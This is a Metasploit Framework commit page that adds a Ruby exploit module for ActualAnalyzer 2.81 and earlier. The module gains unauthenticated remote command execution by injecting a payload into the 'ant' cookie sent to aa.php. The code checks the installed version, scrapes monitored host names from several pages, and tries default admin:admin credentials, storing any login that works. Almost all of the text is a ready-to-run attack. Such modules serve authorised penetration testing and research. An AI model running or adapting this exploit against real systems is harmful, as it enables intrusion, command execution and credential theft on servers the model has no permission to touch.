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https://github.com/rapid7/metasploit-framework
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Land #4328, @bcoles' exploit for ActualAnalyzer < 2.81 'ant' code execution
This commit is contained in:
Jon Hart
commit
effb5b966f
264
modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
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264
modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
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'Description' => %q{
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This module exploits a command execution vulnerability in
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ActualAnalyzer version 2.81 and prior.
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The 'aa.php' file allows unauthenticated users to
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execute arbitrary commands in the 'ant' cookie.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Benjamin Harris', # Discovery and exploit
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'References' =>
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[
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['EDB', '34450'],
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['OSVDB', '110601']
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],
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'Payload' =>
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{
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'Space' => 4096, # HTTP cookie
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'DisableNops' => true,
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'BadChars' => "\x00"
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},
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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'Targets' =>
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[
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# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
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['ActualAnalyzer <= 2.81', { 'auto' => true }]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 28 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
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OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
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OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
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OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
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], self.class)
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end
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#
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# Checks if target is running ActualAnalyzer <= 2.81
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#
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def check
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# check for aa.php
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res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
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if !res
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vprint_error("#{peer} - Connection failed")
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return Exploit::CheckCode::Unknown
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elsif res.code == 404
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vprint_error("#{peer} - Could not find aa.php")
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return Exploit::CheckCode::Safe
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elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
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vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
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return Exploit::CheckCode::Detected
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end
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# check version
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res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
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if !res
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vprint_error("#{peer} - Connection failed")
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return Exploit::CheckCode::Unknown
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elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
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vprint_status("#{peer} - Found version: #{version}")
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if Gem::Version.new(version) <= Gem::Version.new('2.81')
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report_vuln(
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host: rhost,
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name: self.name,
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info: "Module #{fullname} detected ActualAnalyzer #{version}",
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refs: references,
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)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Detected
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elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Safe
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end
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#
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# Try to retrieve a valid analytics host from view.php unauthenticated
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#
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def get_analytics_host_view
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analytics_host = nil
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'view.php'),
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'vars_post' => {
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'id_h' => '',
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'listp' => '',
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'act_h' => 'vis_int',
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'oldact' => 'vis_grpg',
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'tint_h' => '',
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'extact_h' => '',
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'home_pos' => '',
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'act' => 'vis_grpg',
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'tint' => 'total',
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'grpg' => '201',
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'cp_vst' => 'on',
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'cp_hst' => 'on',
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'cp_htst' => 'on',
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'cp_reps' => 'y',
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'tab_sort' => '1_1'
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}
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)
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if !res
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vprint_error("#{peer} - Connection failed")
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elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
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vprint_good("#{peer} - Found analytics host: #{analytics_host}")
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return analytics_host
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else
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vprint_status("#{peer} - Could not find any hosts on view.php")
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end
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nil
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end
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#
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# Try to retrieve a valid analytics host from code.php unauthenticated
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#
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def get_analytics_host_code
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analytics_host = nil
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'code.php'),
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'vars_get' => {
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'pid' => '1'
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}
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)
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if !res
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vprint_error("#{peer} - Connection failed")
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elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
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vprint_good("#{peer} - Found analytics host: #{analytics_host}")
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return analytics_host
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else
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vprint_status("#{peer} - Could not find any hosts on code.php")
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end
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nil
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end
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#
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# Try to retrieve a valid analytics host from admin.php with creds
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#
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def get_analytics_host_admin
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analytics_host = nil
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'admin.php'),
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'vars_post' => {
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'uname' => user,
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'passw' => pass,
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'id_h' => '',
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'listp' => '',
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'act_h' => '',
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'oldact' => 'pages',
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'tint_h' => '',
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'extact_h' => '',
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'param_h' => '',
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'param2_h' => '',
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'home_pos' => '',
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'act' => 'dynhtml',
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'set.x' => '11',
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'set.y' => '11'
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}
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)
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if !res
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vprint_error("#{peer} - Connection failed")
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elsif res.code == 200 && res.body =~ />Login</
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vprint_status("#{peer} - Login failed.")
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elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
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vprint_good("#{peer} - Found analytics host: #{analytics_host}")
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print_good("#{peer} - Login successful! (#{user}:#{pass})")
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service_data = {
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address: Rex::Socket.getaddress(rhost, true),
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port: rport,
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service_name: (ssl ? 'https' : 'http'),
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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private_type: :password,
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private_data: pass,
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username: user
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}
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credential_data.merge!(service_data)
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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last_attempted_at: DateTime.now,
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status: Metasploit::Model::Login::Status::SUCCESSFUL
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}
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login_data.merge!(service_data)
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create_credential_login(login_data)
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return analytics_host
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else
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vprint_status("#{peer} - Could not find any hosts on admin.php")
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end
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nil
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end
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def execute_command(cmd, opts = { analytics_host: vhost })
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vuln_cookies = %w(anw anm)
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'aa.php'),
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'vars_get' => { 'anp' => opts[:analytics_host] },
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'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
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)
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if !res
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fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
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elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
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print_good("#{peer} - Payload sent successfully")
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return true
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elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
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vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
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elsif res.code == 200 && res.body =~ /Admin area<\/title>/
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fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
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else
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fail_with(Failure::Unknown, "#{peer} - Something went wrong")
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end
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nil
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end
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def exploit
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return unless check == Exploit::CheckCode::Vulnerable
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analytics_hosts = []
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if datastore['ANALYZER_HOST'].blank?
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analytics_hosts << get_analytics_host_code
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analytics_hosts << get_analytics_host_view
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analytics_hosts << get_analytics_host_admin
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analytics_hosts << vhost
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analytics_hosts << '127.0.0.1'
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analytics_hosts << 'localhost'
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else
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analytics_hosts << datastore['ANALYZER_HOST']
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end
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analytics_hosts.uniq.each do |host|
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next if host.nil?
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vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
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break if execute_command(payload.encoded, analytics_host: host)
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end
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end
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end
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